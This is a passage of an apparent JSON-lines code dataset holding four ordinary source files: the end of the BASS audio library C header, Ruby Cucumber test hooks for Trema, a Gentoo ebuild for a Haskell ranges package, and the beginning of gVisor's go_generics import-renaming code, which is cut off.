BASS_ATTRIB_PAN\t\t\t\t3\n#define BASS_ATTRIB_EAXMIX\t\t\t4\n#define BASS_ATTRIB_NOBUFFER\t\t5\r\n#define BASS_ATTRIB_VBR\t\t\t\t6\r\n#define BASS_ATTRIB_CPU\t\t\t\t7\r\n#define BASS_ATTRIB_SRC\t\t\t\t8\r\n#define BASS_ATTRIB_NET_RESUME\t\t9\r\n#define BASS_ATTRIB_SCANINFO\t\t10\r\n#define BASS_ATTRIB_NORAMP\t\t\t11\r\n#define BASS_ATTRIB_BITRATE\t\t\t12\n#define BASS_ATTRIB_MUSIC_AMPLIFY\t0x100\n#define BASS_ATTRIB_MUSIC_PANSEP\t0x101\n#define BASS_ATTRIB_MUSIC_PSCALER\t0x102\n#define BASS_ATTRIB_MUSIC_BPM\t\t0x103\n#define BASS_ATTRIB_MUSIC_SPEED\t\t0x104\n#define BASS_ATTRIB_MUSIC_VOL_GLOBAL 0x105\n#define BASS_ATTRIB_MUSIC_ACTIVE\t0x106\n#define BASS_ATTRIB_MUSIC_VOL_CHAN\t0x200 // + channel #\n#define BASS_ATTRIB_MUSIC_VOL_INST\t0x300 // + instrument #\n\n// BASS_ChannelGetData flags\n#define BASS_DATA_AVAILABLE\t0\t\t\t// query how much data is buffered\n#define BASS_DATA_FIXED\t\t0x20000000\t// flag: return 8.24 fixed-point data\n#define BASS_DATA_FLOAT\t\t0x40000000\t// flag: return floating-point sample data\n#define BASS_DATA_FFT256\t0x80000000\t// 256 sample FFT\n#define BASS_DATA_FFT512\t0x80000001\t// 512 FFT\n#define BASS_DATA_FFT1024\t0x80000002\t// 1024 FFT\n#define BASS_DATA_FFT2048\t0x80000003\t// 2048 FFT\n#define BASS_DATA_FFT4096\t0x80000004\t// 4096 FFT\n#define BASS_DATA_FFT8192\t0x80000005\t// 8192 FFT\n#define BASS_DATA_FFT16384\t0x80000006\t// 16384 FFT\r\n#define BASS_DATA_FFT32768\t0x80000007\t// 32768 FFT\r\n#define BASS_DATA_FFT_INDIVIDUAL 0x10\t// FFT flag: FFT for each channel, else all combined\n#define BASS_DATA_FFT_NOWINDOW\t0x20\t// FFT flag: no Hanning window\n#define BASS_DATA_FFT_REMOVEDC\t0x40\t// FFT flag: pre-remove DC bias\n#define BASS_DATA_FFT_COMPLEX\t0x80\t// FFT flag: return complex data\r\n\n// BASS_ChannelGetLevelEx flags\n#define BASS_LEVEL_MONO\t\t1\r\n#define BASS_LEVEL_STEREO\t2\r\n#define BASS_LEVEL_RMS\t\t4\r\n\n// BASS_ChannelGetTags types : what's returned\n#define BASS_TAG_ID3\t\t0\t// ID3v1 tags : TAG_ID3 structure\n#define BASS_TAG_ID3V2\t\t1\t// ID3v2 tags : variable length block\n#define BASS_TAG_OGG\t\t2\t// OGG comments : series of null-terminated UTF-8 strings\n#define BASS_TAG_HTTP\t\t3\t// HTTP headers : series of null-terminated ANSI strings\n#define BASS_TAG_ICY\t\t4\t// ICY headers : series of null-terminated ANSI strings\n#define BASS_TAG_META\t\t5\t// ICY metadata : ANSI string\n#define BASS_TAG_APE\t\t6\t// APE tags : series of null-terminated UTF-8 strings\r\n#define BASS_TAG_MP4 \t\t7\t// MP4/iTunes metadata : series of null-terminated UTF-8 strings\r\n#define BASS_TAG_WMA\t\t8\t// WMA tags : series of null-terminated UTF-8 strings\r\n#define BASS_TAG_VENDOR\t\t9\t// OGG encoder : UTF-8 string\n#define BASS_TAG_LYRICS3\t10\t// Lyric3v2 tag : ASCII string\n#define BASS_TAG_CA_CODEC\t11\t// CoreAudio codec info : TAG_CA_CODEC structure\n#define BASS_TAG_MF\t\t\t13\t// Media Foundation tags : series of null-terminated UTF-8 strings\r\n#define BASS_TAG_WAVEFORMAT\t14\t// WAVE format : WAVEFORMATEEX structure\r\n#define BASS_TAG_RIFF_INFO\t0x100 // RIFF \"INFO\" tags : series of null-terminated ANSI strings\n#define BASS_TAG_RIFF_BEXT\t0x101 // RIFF/BWF \"bext\" tags : TAG_BEXT structure\n#define BASS_TAG_RIFF_CART\t0x102 // RIFF/BWF \"cart\" tags : TAG_CART structure\r\n#define BASS_TAG_RIFF_DISP\t0x103 // RIFF \"DISP\" text tag : ANSI string\r\n#define BASS_TAG_APE_BINARY\t0x1000\t// + index #, binary APE tag : TAG_APE_BINARY structure\r\n#define BASS_TAG_MUSIC_NAME\t\t0x10000\t// MOD music name : ANSI string\n#define BASS_TAG_MUSIC_MESSAGE\t0x10001\t// MOD message : ANSI string\n#define BASS_TAG_MUSIC_ORDERS\t0x10002\t// MOD order list : BYTE array of pattern numbers\n#define BASS_TAG_MUSIC_AUTH\t\t0x10003\t// MOD author : UTF-8 string\n#define BASS_TAG_MUSIC_INST\t\t0x10100\t// + instrument #, MOD instrument name : ANSI string\n#define BASS_TAG_MUSIC_SAMPLE\t0x10300\t// + sample #, MOD sample name : ANSI string\n\r\n// ID3v1 tag structure\ntypedef struct {\n\tchar id[3];\n\tchar title[30];\n\tchar artist[30];\n\tchar album[30];\n\tchar year[4];\n\tchar comment[30];\n\tBYTE genre;\n} TAG_ID3;\n\r\n// Binary APE tag structure\ntypedef struct {\r\n\tconst char *key;\r\n\tconst void *data;\r\n\tDWORD length;\r\n} TAG_APE_BINARY;\r\n\r\n// BWF \"bext\" tag structure\r\n#ifdef _MSC_VER\n#pragma warning(push)\n#pragma warning(disable:4200)\n#endif\n#pragma pack(push,1)\ntypedef struct {\n\tchar Description[256];\t\t\t// description\n\tchar Originator[32];\t\t\t// name of the originator\n\tchar OriginatorReference[32];\t// reference of the originator\n\tchar OriginationDate[10];\t\t// date of creation (yyyy-mm-dd)\n\tchar OriginationTime[8];\t\t// time of creation (hh-mm-ss)\n\tQWORD TimeReference;\t\t\t// first sample count since midnight (little-endian)\n\tWORD Version;\t\t\t\t\t// BWF version (little-endian)\n\tBYTE UMID[64];\t\t\t\t\t// SMPTE UMID\n\tBYTE Reserved[190];\n#if defined(__GNUC__) && __GNUC__<3\n\tchar CodingHistory[0];\t\t\t// history\n#elif 1 // change to 0 if compiler fails the following line\n\tchar CodingHistory[];\t\t\t// history\n#else\n\tchar CodingHistory[1];\t\t\t// history\n#endif\n} TAG_BEXT;\n#pragma pack(pop)\r\n\r\n// BWF \"cart\" tag structures\r\ntypedef struct\r\n{\r\n\tDWORD dwUsage;\t\t\t\t\t// FOURCC timer usage ID\r\n\tDWORD dwValue;\t\t\t\t\t// timer value in samples from head\r\n} TAG_CART_TIMER;\r\n\r\ntypedef struct\r\n{\r\n\tchar Version[4];\t\t\t\t// version of the data structure\r\n\tchar Title[64];\t\t\t\t\t// title of cart audio sequence\r\n\tchar Artist[64];\t\t\t\t// artist or creator name\r\n\tchar CutID[64];\t\t\t\t\t// cut number identification\r\n\tchar ClientID[64];\t\t\t\t// client identification\r\n\tchar Category[64];\t\t\t\t// category ID, PSA, NEWS, etc\r\n\tchar Classification[64];\t\t// classification or auxiliary key\r\n\tchar OutCue[64];\t\t\t\t// out cue text\r\n\tchar StartDate[10];\t\t\t\t// yyyy-mm-dd\r\n\tchar StartTime[8];\t\t\t\t// hh:mm:ss\r\n\tchar EndDate[10];\t\t\t\t// yyyy-mm-dd\r\n\tchar EndTime[8];\t\t\t\t// hh:mm:ss\r\n\tchar ProducerAppID[64];\t\t\t// name of vendor or application\r\n\tchar ProducerAppVersion[64];\t// version of producer application\r\n\tchar UserDef[64];\t\t\t\t// user defined text\r\n\tDWORD dwLevelReference;\t\t\t// sample value for 0 dB reference\r\n\tTAG_CART_TIMER PostTimer[8];\t// 8 time markers after head\r\n\tchar Reserved[276];\r\n\tchar URL[1024];\t\t\t\t\t// uniform resource locator\r\n#if defined(__GNUC__) && __GNUC__<3\r\n\tchar TagText[0];\t\t\t\t// free form text for scripts or tags\r\n#elif 1 // change to 0 if compiler fails the following line\r\n\tchar TagText[];\t\t\t\t\t// free form text for scripts or tags\r\n#else\r\n\tchar TagText[1];\t\t\t\t// free form text for scripts or tags\r\n#endif\r\n} TAG_CART;\r\n#ifdef _MSC_VER\r\n#pragma warning(pop)\r\n#endif\r\n\r\n// CoreAudio codec info structure\ntypedef struct {\n\tDWORD ftype;\t\t\t\t\t// file format\n\tDWORD atype;\t\t\t\t\t// audio format\n\tconst char *name;\t\t\t\t// description\n} TAG_CA_CODEC;\n\n#ifndef _WAVEFORMATEX_\r\n#define _WAVEFORMATEX_\r\n#pragma pack(push,1)\r\ntypedef struct tWAVEFORMATEX\r\n{\r\n\tWORD wFormatTag;\r\n\tWORD nChannels;\r\n\tDWORD nSamplesPerSec;\r\n\tDWORD nAvgBytesPerSec;\r\n\tWORD nBlockAlign;\r\n\tWORD wBitsPerSample;\r\n\tWORD cbSize;\r\n} WAVEFORMATEX, *PWAVEFORMATEX, *LPWAVEFORMATEX;\r\ntypedef const WAVEFORMATEX *LPCWAVEFORMATEX;\r\n#pragma pack(pop)\r\n#endif\r\n\r\n// BASS_ChannelGetLength/GetPosition/SetPosition modes\n#define BASS_POS_BYTE\t\t\t0\t\t// byte position\n#define BASS_POS_MUSIC_ORDER\t1\t\t// order.row position, MAKELONG(order,row)\n#define BASS_POS_OGG\t\t\t3\t\t// OGG bitstream number\r\n#define BASS_POS_INEXACT\t\t0x8000000 // flag: allow seeking to inexact position\n#define BASS_POS_DECODE\t\t\t0x10000000 // flag: get the decoding (not playing) position\n#define BASS_POS_DECODETO\t\t0x20000000 // flag: decode to the position instead of seeking\r\n#define BASS_POS_SCAN\t\t\t0x40000000 // flag: scan to the position\r\n\n// BASS_RecordSetInput flags\n#define BASS_INPUT_OFF\t\t0x10000\n#define BASS_INPUT_ON\t\t0x20000\n\n#define BASS_INPUT_TYPE_MASK\t\t0xff000000\n#define BASS_INPUT_TYPE_UNDEF\t\t0x00000000\n#define BASS_INPUT_TYPE_DIGITAL\t\t0x01000000\n#define BASS_INPUT_TYPE_LINE\t\t0x02000000\n#define BASS_INPUT_TYPE_MIC\t\t\t0x03000000\n#define BASS_INPUT_TYPE_SYNTH\t\t0x04000000\n#define BASS_INPUT_TYPE_CD\t\t\t0x05000000\n#define BASS_INPUT_TYPE_PHONE\t\t0x06000000\n#define BASS_INPUT_TYPE_SPEAKER\t\t0x07000000\n#define BASS_INPUT_TYPE_WAVE\t\t0x08000000\n#define BASS_INPUT_TYPE_AUX\t\t\t0x09000000\n#define BASS_INPUT_TYPE_ANALOG\t\t0x0a000000\n\n// DX8 effect types, use with BASS_ChannelSetFX\nenum\n{\n\tBASS_FX_DX8_CHORUS,\n\tBASS_FX_DX8_COMPRESSOR,\n\tBASS_FX_DX8_DISTORTION,\n\tBASS_FX_DX8_ECHO,\n\tBASS_FX_DX8_FLANGER,\n\tBASS_FX_DX8_GARGLE,\n\tBASS_FX_DX8_I3DL2REVERB,\n\tBASS_FX_DX8_PARAMEQ,\n\tBASS_FX_DX8_REVERB\n};\n\ntypedef struct {\n float fWetDryMix;\n float fDepth;\n float fFeedback;\n float fFrequency;\n DWORD lWaveform;\t// 0=triangle, 1=sine\n float fDelay;\n DWORD lPhase;\t\t// BASS_DX8_PHASE_xxx\n} BASS_DX8_CHORUS;\n\ntypedef struct {\n float fGain;\n float fAttack;\n float fRelease;\n float fThreshold;\n float fRatio;\n float fPredelay;\n} BASS_DX8_COMPRESSOR;\n\ntypedef struct {\n float fGain;\n float fEdge;\n float fPostEQCenterFrequency;\n float fPostEQBandwidth;\n float fPreLowpassCutoff;\n} BASS_DX8_DISTORTION;\n\ntypedef struct {\n float fWetDryMix;\n float fFeedback;\n float fLeftDelay;\n float fRightDelay;\n BOOL lPanDelay;\n} BASS_DX8_ECHO;\n\ntypedef struct {\n float fWetDryMix;\n float fDepth;\n float fFeedback;\n float fFrequency;\n DWORD lWaveform;\t// 0=triangle, 1=sine\n float fDelay;\n DWORD lPhase;\t\t// BASS_DX8_PHASE_xxx\n} BASS_DX8_FLANGER;\n\ntypedef struct {\n DWORD dwRateHz; // Rate of modulation in hz\n DWORD dwWaveShape; // 0=triangle, 1=square\n} BASS_DX8_GARGLE;\n\ntypedef struct {\n int lRoom; // [-10000, 0] default: -1000 mB\n int lRoomHF; // [-10000, 0] default: 0 mB\n float flRoomRolloffFactor; // [0.0, 10.0] default: 0.0\n float flDecayTime; // [0.1, 20.0] default: 1.49s\n float flDecayHFRatio; // [0.1, 2.0] default: 0.83\n int lReflections; // [-10000, 1000] default: -2602 mB\n float flReflectionsDelay; // [0.0, 0.3] default: 0.007 s\n int lReverb; // [-10000, 2000] default: 200 mB\n float flReverbDelay; // [0.0, 0.1] default: 0.011 s\n float flDiffusion; // [0.0, 100.0] default: 100.0 %\n float flDensity; // [0.0, 100.0] default: 100.0 %\n float flHFReference; // [20.0, 20000.0] default: 5000.0 Hz\n} BASS_DX8_I3DL2REVERB;\n\ntypedef struct {\n float fCenter;\n float fBandwidth;\n float fGain;\n} BASS_DX8_PARAMEQ;\n\ntypedef struct {\n float fInGain; // [-96.0,0.0] default: 0.0 dB\n float fReverbMix; // [-96.0,0.0] default: 0.0 db\n float fReverbTime; // [0.001,3000.0] default: 1000.0 ms\n float fHighFreqRTRatio; // [0.001,0.999] default: 0.001\n} BASS_DX8_REVERB;\n\n#define BASS_DX8_PHASE_NEG_180 0\n#define BASS_DX8_PHASE_NEG_90 1\n#define BASS_DX8_PHASE_ZERO 2\n#define BASS_DX8_PHASE_90 3\n#define BASS_DX8_PHASE_180 4\n\r\ntypedef void (CALLBACK IOSNOTIFYPROC)(DWORD status);\r\n/* iOS notification callback function.\r\nstatus : The notification (BASS_IOSNOTIFY_xxx) */\r\n\r\n#define BASS_IOSNOTIFY_INTERRUPT\t\t1\t// interruption started\r\n#define BASS_IOSNOTIFY_INTERRUPT_END\t2\t// interruption ended\r\n\nBOOL BASSDEF(BASS_SetConfig)(DWORD option, DWORD value);\nDWORD BASSDEF(BASS_GetConfig)(DWORD option);\nBOOL BASSDEF(BASS_SetConfigPtr)(DWORD option, const void *value);\nvoid *BASSDEF(BASS_GetConfigPtr)(DWORD option);\nDWORD BASSDEF(BASS_GetVersion)();\nint BASSDEF(BASS_ErrorGetCode)();\nBOOL BASSDEF(BASS_GetDeviceInfo)(DWORD device, BASS_DEVICEINFO *info);\n#if defined(_WIN32) && !defined(_WIN32_WCE) && !(WINAPI_FAMILY && WINAPI_FAMILY!=WINAPI_FAMILY_DESKTOP_APP)\nBOOL BASSDEF(BASS_Init)(int device, DWORD freq, DWORD flags, HWND win, const GUID *dsguid);\n#else\nBOOL BASSDEF(BASS_Init)(int device, DWORD freq, DWORD flags, void *win, void *dsguid);\n#endif\nBOOL BASSDEF(BASS_SetDevice)(DWORD device);\nDWORD BASSDEF(BASS_GetDevice)();\nBOOL BASSDEF(BASS_Free)();\n#if defined(_WIN32) && !defined(_WIN32_WCE) && !(WINAPI_FAMILY && WINAPI_FAMILY!=WINAPI_FAMILY_DESKTOP_APP)\r\nvoid *BASSDEF(BASS_GetDSoundObject)(DWORD object);\n#endif\nBOOL BASSDEF(BASS_GetInfo)(BASS_INFO *info);\nBOOL BASSDEF(BASS_Update)(DWORD length);\nfloat BASSDEF(BASS_GetCPU)();\nBOOL BASSDEF(BASS_Start)();\nBOOL BASSDEF(BASS_Stop)();\nBOOL BASSDEF(BASS_Pause)();\nBOOL BASSDEF(BASS_SetVolume)(float volume);\nfloat BASSDEF(BASS_GetVolume)();\n\nHPLUGIN BASSDEF(BASS_PluginLoad)(const char *file, DWORD flags);\nBOOL BASSDEF(BASS_PluginFree)(HPLUGIN handle);\nconst BASS_PLUGININFO *BASSDEF(BASS_PluginGetInfo)(HPLUGIN handle);\n\nBOOL BASSDEF(BASS_Set3DFactors)(float distf, float rollf, float doppf);\nBOOL BASSDEF(BASS_Get3DFactors)(float *distf, float *rollf, float *doppf);\nBOOL BASSDEF(BASS_Set3DPosition)(const BASS_3DVECTOR *pos, const BASS_3DVECTOR *vel, const BASS_3DVECTOR *front, const BASS_3DVECTOR *top);\nBOOL BASSDEF(BASS_Get3DPosition)(BASS_3DVECTOR *pos, BASS_3DVECTOR *vel, BASS_3DVECTOR *front, BASS_3DVECTOR *top);\nvoid BASSDEF(BASS_Apply3D)();\n#if defined(_WIN32) && !defined(_WIN32_WCE) && !(WINAPI_FAMILY && WINAPI_FAMILY!=WINAPI_FAMILY_DESKTOP_APP)\r\nBOOL BASSDEF(BASS_SetEAXParameters)(int env, float vol, float decay, float damp);\nBOOL BASSDEF(BASS_GetEAXParameters)(DWORD *env, float *vol, float *decay, float *damp);\n#endif\n\nHMUSIC BASSDEF(BASS_MusicLoad)(BOOL mem, const void *file, QWORD offset, DWORD length, DWORD flags, DWORD freq);\nBOOL BASSDEF(BASS_MusicFree)(HMUSIC handle);\n\nHSAMPLE BASSDEF(BASS_SampleLoad)(BOOL mem, const void *file, QWORD offset, DWORD length, DWORD max, DWORD flags);\nHSAMPLE BASSDEF(BASS_SampleCreate)(DWORD length, DWORD freq, DWORD chans, DWORD max, DWORD flags);\nBOOL BASSDEF(BASS_SampleFree)(HSAMPLE handle);\nBOOL BASSDEF(BASS_SampleSetData)(HSAMPLE handle, const void *buffer);\nBOOL BASSDEF(BASS_SampleGetData)(HSAMPLE handle, void *buffer);\nBOOL BASSDEF(BASS_SampleGetInfo)(HSAMPLE handle, BASS_SAMPLE *info);\nBOOL BASSDEF(BASS_SampleSetInfo)(HSAMPLE handle, const BASS_SAMPLE *info);\nHCHANNEL BASSDEF(BASS_SampleGetChannel)(HSAMPLE handle, BOOL onlynew);\nDWORD BASSDEF(BASS_SampleGetChannels)(HSAMPLE handle, HCHANNEL *channels);\nBOOL BASSDEF(BASS_SampleStop)(HSAMPLE handle);\n\nHSTREAM BASSDEF(BASS_StreamCreate)(DWORD freq, DWORD chans, DWORD flags, STREAMPROC *proc, void *user);\nHSTREAM BASSDEF(BASS_StreamCreateFile)(BOOL mem, const void *file, QWORD offset, QWORD length, DWORD flags);\nHSTREAM BASSDEF(BASS_StreamCreateURL)(const char *url, DWORD offset, DWORD flags, DOWNLOADPROC *proc, void *user);\nHSTREAM BASSDEF(BASS_StreamCreateFileUser)(DWORD system, DWORD flags, const BASS_FILEPROCS *proc, void *user);\nBOOL BASSDEF(BASS_StreamFree)(HSTREAM handle);\nQWORD BASSDEF(BASS_StreamGetFilePosition)(HSTREAM handle, DWORD mode);\nDWORD BASSDEF(BASS_StreamPutData)(HSTREAM handle, const void *buffer, DWORD length);\nDWORD BASSDEF(BASS_StreamPutFileData)(HSTREAM handle, const void *buffer, DWORD length);\n\nBOOL BASSDEF(BASS_RecordGetDeviceInfo)(DWORD device, BASS_DEVICEINFO *info);\nBOOL BASSDEF(BASS_RecordInit)(int device);\nBOOL BASSDEF(BASS_RecordSetDevice)(DWORD device);\nDWORD BASSDEF(BASS_RecordGetDevice)();\nBOOL BASSDEF(BASS_RecordFree)();\nBOOL BASSDEF(BASS_RecordGetInfo)(BASS_RECORDINFO *info);\nconst char *BASSDEF(BASS_RecordGetInputName)(int input);\nBOOL BASSDEF(BASS_RecordSetInput)(int input, DWORD flags, float volume);\nDWORD BASSDEF(BASS_RecordGetInput)(int input, float *volume);\nHRECORD BASSDEF(BASS_RecordStart)(DWORD freq, DWORD chans, DWORD flags, RECORDPROC *proc, void *user);\n\ndouble BASSDEF(BASS_ChannelBytes2Seconds)(DWORD handle, QWORD pos);\nQWORD BASSDEF(BASS_ChannelSeconds2Bytes)(DWORD handle, double pos);\nDWORD BASSDEF(BASS_ChannelGetDevice)(DWORD handle);\nBOOL BASSDEF(BASS_ChannelSetDevice)(DWORD handle, DWORD device);\nDWORD BASSDEF(BASS_ChannelIsActive)(DWORD handle);\nBOOL BASSDEF(BASS_ChannelGetInfo)(DWORD handle, BASS_CHANNELINFO *info);\nconst char *BASSDEF(BASS_ChannelGetTags)(DWORD handle, DWORD tags);\nDWORD BASSDEF(BASS_ChannelFlags)(DWORD handle, DWORD flags, DWORD mask);\nBOOL BASSDEF(BASS_ChannelUpdate)(DWORD handle, DWORD length);\nBOOL BASSDEF(BASS_ChannelLock)(DWORD handle, BOOL lock);\nBOOL BASSDEF(BASS_ChannelPlay)(DWORD handle, BOOL restart);\nBOOL BASSDEF(BASS_ChannelStop)(DWORD handle);\nBOOL BASSDEF(BASS_ChannelPause)(DWORD handle);\nBOOL BASSDEF(BASS_ChannelSetAttribute)(DWORD handle, DWORD attrib, float value);\nBOOL BASSDEF(BASS_ChannelGetAttribute)(DWORD handle, DWORD attrib, float *value);\nBOOL BASSDEF(BASS_ChannelSlideAttribute)(DWORD handle, DWORD attrib, float value, DWORD time);\nBOOL BASSDEF(BASS_ChannelIsSliding)(DWORD handle, DWORD attrib);\nBOOL BASSDEF(BASS_ChannelSetAttributeEx)(DWORD handle, DWORD attrib, void *value, DWORD size);\nDWORD BASSDEF(BASS_ChannelGetAttributeEx)(DWORD handle, DWORD attrib, void *value, DWORD size);\nBOOL BASSDEF(BASS_ChannelSet3DAttributes)(DWORD handle, int mode, float min, float max, int iangle, int oangle, float outvol);\nBOOL BASSDEF(BASS_ChannelGet3DAttributes)(DWORD handle, DWORD *mode, float *min, float *max, DWORD *iangle, DWORD *oangle, float *outvol);\nBOOL BASSDEF(BASS_ChannelSet3DPosition)(DWORD handle, const BASS_3DVECTOR *pos, const BASS_3DVECTOR *orient, const BASS_3DVECTOR *vel);\nBOOL BASSDEF(BASS_ChannelGet3DPosition)(DWORD handle, BASS_3DVECTOR *pos, BASS_3DVECTOR *orient, BASS_3DVECTOR *vel);\nQWORD BASSDEF(BASS_ChannelGetLength)(DWORD handle, DWORD mode);\nBOOL BASSDEF(BASS_ChannelSetPosition)(DWORD handle, QWORD pos, DWORD mode);\nQWORD BASSDEF(BASS_ChannelGetPosition)(DWORD handle, DWORD mode);\nDWORD BASSDEF(BASS_ChannelGetLevel)(DWORD handle);\nBOOL BASSDEF(BASS_ChannelGetLevelEx)(DWORD handle, float *levels, float length, DWORD flags);\r\nDWORD BASSDEF(BASS_ChannelGetData)(DWORD handle, void *buffer, DWORD length);\nHSYNC BASSDEF(BASS_ChannelSetSync)(DWORD handle, DWORD type, QWORD param, SYNCPROC *proc, void *user);\nBOOL BASSDEF(BASS_ChannelRemoveSync)(DWORD handle, HSYNC sync);\nHDSP BASSDEF(BASS_ChannelSetDSP)(DWORD handle, DSPPROC *proc, void *user, int priority);\nBOOL BASSDEF(BASS_ChannelRemoveDSP)(DWORD handle, HDSP dsp);\nBOOL BASSDEF(BASS_ChannelSetLink)(DWORD handle, DWORD chan);\nBOOL BASSDEF(BASS_ChannelRemoveLink)(DWORD handle, DWORD chan);\nHFX BASSDEF(BASS_ChannelSetFX)(DWORD handle, DWORD type, int priority);\nBOOL BASSDEF(BASS_ChannelRemoveFX)(DWORD handle, HFX fx);\n\nBOOL BASSDEF(BASS_FXSetParameters)(HFX handle, const void *params);\nBOOL BASSDEF(BASS_FXGetParameters)(HFX handle, void *params);\nBOOL BASSDEF(BASS_FXReset)(HFX handle);\nBOOL BASSDEF(BASS_FXSetPriority)(HFX handle, int priority);\n\r\n#ifdef __cplusplus\n}\n\r\n#if defined(_WIN32) && !defined(NOBASSOVERLOADS)\r\nstatic inline HPLUGIN BASS_PluginLoad(const WCHAR *file, DWORD flags)\r\n{\r\n\treturn BASS_PluginLoad((const char*)file, flags|BASS_UNICODE);\r\n}\r\n\r\nstatic inline HMUSIC BASS_MusicLoad(BOOL mem, const WCHAR *file, QWORD offset, DWORD length, DWORD flags, DWORD freq)\r\n{\r\n\treturn BASS_MusicLoad(mem, (const void*)file, offset, length, flags|BASS_UNICODE, freq);\r\n}\r\n\r\nstatic inline HSAMPLE BASS_SampleLoad(BOOL mem, const WCHAR *file, QWORD offset, DWORD length, DWORD max, DWORD flags)\r\n{\r\n\treturn BASS_SampleLoad(mem, (const void*)file, offset, length, max, flags|BASS_UNICODE);\r\n}\r\n\r\nstatic inline HSTREAM BASS_StreamCreateFile(BOOL mem, const WCHAR *file, QWORD offset, QWORD length, DWORD flags)\r\n{\r\n\treturn BASS_StreamCreateFile(mem, (const void*)file, offset, length, flags|BASS_UNICODE);\r\n}\r\n\r\nstatic inline HSTREAM BASS_StreamCreateURL(const WCHAR *url, DWORD offset, DWORD flags, DOWNLOADPROC *proc, void *user)\r\n{\r\n\treturn BASS_StreamCreateURL((const char*)url, offset, flags|BASS_UNICODE, proc, user);\r\n}\r\n\r\nstatic inline BOOL BASS_SetConfigPtr(DWORD option, const WCHAR *value)\r\n{\r\n\treturn BASS_SetConfigPtr(option|BASS_UNICODE, (const void*)value);\r\n}\r\n#endif\r\n#endif\n\n#endif\n"} {"text": "# frozen_string_literal: true\nBefore do\n @aruba_timeout_seconds = 5\nend\n\nBefore('@sudo') do\n raise 'sudo authentication failed' unless system 'sudo -v'\n @aruba_timeout_seconds = 15\nend\n\nAfter do\n run 'trema killall --all -S .'\n sleep 10\nend\n"} {"text": "# Copyright 1999-2020 Gentoo Authors\n# Distributed under the terms of the GNU General Public License v2\n\nEAPI=6\n\n# ebuild generated by hackport 0.5.9999\n\nCABAL_FEATURES=\"lib profile haddock hoogle hscolour\"\ninherit haskell-cabal\n\nDESCRIPTION=\"Ranges and various functions on them\"\nHOMEPAGE=\"https://hackage.haskell.org/package/ranges\"\nSRC_URI=\"https://hackage.haskell.org/package/${P}/${P}.tar.gz\"\n\nLICENSE=\"BSD\"\nSLOT=\"0/${PV}\"\nKEYWORDS=\"~amd64 ~x86\"\nIUSE=\"\"\n\nRDEPEND=\">=dev-lang/ghc-7.4.1:=\n\"\nDEPEND=\"${RDEPEND}\n\t>=dev-haskell/cabal-1.2\n\"\n"} {"text": "// Copyright 2018 The gVisor Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"go/ast\"\n\t\"go/format\"\n\t\"go/parser\"\n\t\"go/token\"\n\t\"sort\"\n\t\"strconv\"\n\n\t\"gvisor.dev/gvisor/tools/go_generics/globals\"\n)\n\ntype importedPackage struct {\n\tnewName string\n\tpath string\n}\n\n// updateImportIdent modifies the given import identifier with the new name\n// stored in the used map. If the identifier doesn't exist in the used map yet,\n// a new name is generated and inserted into the map.\nfunc updateImportIdent(orig string, imports mapValue, id *ast.Ident, used map[string]*importedPackage) error {\n\timportName := id.Name\n\n\t// If the name is already in the table, just use the new name.\n\tm := used[importName]\n\tif m != nil {\n\t\tid.Name = m.newName\n\t\treturn nil\n\t}\n\n\t// Create a new entry in the used map.\n\tpath := imports[importName]\n\tif path == \"\" {\n\t\treturn fmt.Errorf(\"Unknown path to package '%s', used in '%s'\", importName, orig)\n\t}\n\n\tm = &importedPackage{\n\t\tnewName: fmt.Sprintf(\"__generics_imported%d\", len(used)),\n\t\tpath: strconv.Quote(path),\n\t}\n\tused[importName] = m\n\n\tid.Name = m.newName\n\n\treturn nil\n}\n\n// convertExpression creates a new string that is a copy of the input one with\n// all imports references renamed to the names in the \"used\" map. If the\n// referenced import isn't in \"used\" yet, a new one is created based on the path\n// in \"imports\" and stored in \"used\". For example, if string s is\n// \"math.MaxUint32-math.MaxUint16+10\", it would be converted to\n// \"x.MaxUint32-x.MathUint16+10\", where x is a generated name.\nfunc convertExpression(s string, imports mapValue, used map[string]*importedPackage) (string, error) {\n\t// Parse the expression in the input string.\n\texpr, err := parser.ParseExpr(s)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to parse \\\"%s\\\": %v\", s, err)\n\t}\n\n\t// Go through the AST and update references.\n\tvar retErr error\n\tast.Inspect(expr, func(n ast.Node) bool {\n\t\tswitch x := n.(type) {\n\t\tcase *ast.SelectorExpr:\n\t\t\tif id := globals.GetIdent(x.X); id != nil {\n\t\t\t\tif err := updateImportIdent(s, imports, id, used); err != nil {\n\t\t\t\t\tretErr = err\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t\treturn true\n\t})\n\tif retErr != nil {\n\t\treturn \"\", retErr\n\t}\n\n\t// Convert the modified AST back to a string.\n\tfset := token.NewFileSet()\n\tvar buf bytes.Buffer\n\tif err := format.Node(&buf, fset, expr); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(buf.Bytes()), nil\n}\n\n// updateImports replaces all maps in the input slice with copies where the\n// mapped values have had all references to imported packages renamed to\n// generated names. It also returns an import declaration for all the renamed\n// import packages.\n//\n// For example, if the input maps contains A=math.B and C=math.D, the updated\n// maps will instead contain A=__generics_imported0.B and\n// C=__generics_imported0.C, and the 'import __generics_imported0 \"math\"' would\n// be returned as the import declaration.\nfunc updateImports(maps []mapValue, imports mapValue) (ast.Decl, error) {\n\timportsUsed := make(map[string]*importedPackage)\n\n\t// Update all maps.\n\tfor i, m := range maps {\n\t\tnewMap := make(mapValue)\n\t\tfor n, e := range m {\n\t\t\tupdated, err := convertExpression(e, imports, importsUsed)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tnewMap[n] = updated\n\t\t}\n\t\tmaps[i] = newMap\n\t}\n\n\t// Nothing else to do if no imports are used in the expressions.\n\tif len(importsUsed) == 0 {\n\t\treturn nil, nil\n\t}\n\tvar names []string\n\tfor n := range importsUsed {\n\t\tnames = append(names, n)\n\t}\n\t// Sort the new imports for deterministic build outputs.\n\tsort.Strings(names)\n\n\t// Create spec array for each new import.\n\tspecs := make([]ast.Spec, 0, 